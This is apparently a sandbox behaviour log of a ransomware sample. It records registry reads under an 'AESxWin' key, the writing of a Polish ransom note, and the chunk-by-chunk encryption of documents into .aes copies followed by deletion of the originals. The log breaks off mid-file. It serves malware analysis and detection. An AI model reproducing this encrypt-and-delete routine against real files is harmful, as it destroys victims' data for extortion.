File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\0qp cbTp2kDuTxPhn8y.csv True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0b75c6dd-d172-492e-b7be-2c05de30e808, type = REG_SZ True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\#$# JAK-ODZYSKAC-PLIKI.txt, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_type True 2
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\#$# JAK-ODZYSKAC-PLIKI.txt, size = 2604 True 1
Fn
Data
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 477 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 753 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\F6P3h-e5k60SlJ.pdf True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 2839 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 3121 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\iUfdaFezBB3P- l4I3e.rtf True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf, size = 4096, size_out = 1069 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf.aes, size = 1345 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\pWQHqSJInPvfKbJkRZb.rtf True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 1140 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 1425 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\t8rijBa3r5rIl.pptx True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\P9grc6N9ugQ9v\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\0_b3IJRL61ikm2.xls, size = 4096, size_out = 4096 True 1
Fn
Data
